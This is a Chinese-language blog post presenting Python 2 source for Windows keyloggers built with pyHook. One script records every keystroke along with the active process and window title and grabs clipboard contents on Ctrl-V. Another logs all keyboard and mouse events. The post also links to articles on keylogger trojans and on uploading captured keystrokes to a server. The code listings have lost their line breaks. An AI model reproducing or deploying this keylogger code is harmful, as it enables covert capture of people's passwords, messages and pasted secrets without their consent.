python键盘记录
2016-08-01 19:14
411 查看
要求
1.python 32bit2.pyHook
3.PYWIN32
问题
1.python version 2.7 required,which was not found in the registry2.在进程切换的时候报错(暂未解决):
AttributeError: function 'GetWindowThreadProcessID' not found
代码1
#-*- coding: utf-8 -*- from ctypes import * import pythoncom import pyHook import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): # 获得窗口句柄 hwnd = user32.GetForegroundWindow() # 获得进程ID pid = c_ulong(0) user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数 http://blog.csdn.net/linda1000/article/details/12623527 # 保存当前进程ID process_id = "%d" % pid.value print process_id # 申请内存 executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseName(h_process, None, byref(executable), 512) # 读取窗口标题 window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title), 512) # 输出 print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) # 关闭句柄 kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) def KeyStroke(event): global current_window # 检查目标是否切换窗口 if event.WindowName != current_window: current_window = event.WindowName get_current_process() # 检测按键是否为常规键 if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: # 如果输入为ctrl-v 则获取剪贴板内容 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, return True # 创建和注册钩子函数管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke # 注册键盘记录的钩子并永久执行 kl.HookKeyboard() pythoncom.PumpMessages()
代码2(键盘+鼠标)
# -*- coding: utf-8 -*- import pythoncom import pyHook def onMouseEvent(event): # 监听鼠标事件 print "MessageName:", event.MessageName print "Message:", event.Message print "Time:", event.Time print "Window:", event.Window print "WindowName:", event.WindowName print "Position:", event.Position print "Wheel:", event.Wheel print "Injected:", event.Injected print "---" # 返回 True 以便将事件传给其它处理程序 # 注意,这儿如果返回 False ,则鼠标事件将被全部拦截 # 也就是说你的鼠标看起来会僵在那儿,似乎失去响应了 return True def onKeyboardEvent(event): # 监听键盘事件 print "MessageName:", event.MessageName print "Message:", event.Message print "Time:", event.Time print "Window:", event.Window print "WindowName:", event.WindowName print "Ascii:", event.Ascii, chr(event.Ascii) print "Key:", event.Key print "KeyID:", event.KeyID print "ScanCode:", event.ScanCode print "Extended:", event.Extended print "Injected:", event.Injected print "Alt", event.Alt print "Transition", event.Transition print "---" # 同鼠标事件监听函数的返回值 return True def main(): # 创建一个“钩子”管理对象 hm = pyHook.HookManager() # 监听所有键盘事件 hm.KeyDown = onKeyboardEvent # 设置键盘“钩子” hm.HookKeyboard() # 监听所有鼠标事件 hm.MouseAll = onMouseEvent # 设置鼠标“钩子” hm.HookMouse() # 进入循环,如不手动关闭,程序将一直处于监听状态 pythoncom.PumpMessages() if __name__ == "__main__": main()
代码2简洁版(记录键盘 简单粗暴)
# -*- coding: utf-8 -*- import pythoncom import pyHook def onKeyboardEvent(event): # 监听键盘事件 print "Key:", event.Key def main(): # 创建一个“钩子”管理对象 hm = pyHook.HookManager() # 监听所有键盘事件 hm.KeyDown = onKeyboardEvent # 设置键盘“钩子” hm.HookKeyboard() # 进入循环,如不手动关闭,程序将一直处于监听状态 pythoncom.PumpMessages() if __name__ == "__main__": main()
相似参考
Xyntax: python实现键盘记录木马http://www.xuebuyuan.com/571578.html
代码2参考:用Python监听鼠标和键盘事件
相关文章推荐
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- python -- windows 键盘记录
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- Python自制键盘记录木马!
- python 实现键盘记录
- Python记录以及模拟键盘鼠标事情
- Python实现鼠标、键盘事件的记录
- python监控客户端进程与键盘记录并上传至服务器
- 多功能Python键盘记录工具:Radium
- python 键盘监听+记录 [ pynput+logging ]
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- 在Linux下如何用Python监控键盘记录
- python实现键盘记录木马
- python 实现键盘记录
- 关于“对驱动型键盘记录程序Klog的修改”的补充
- 键盘记录
- 键盘记录小程序
- 一个反键盘记录工具的分析
- 利用filter driver实现键盘记录
- 记录从键盘输入的字符串,计算字符串的长度并用指针实现对字符串的逆向输出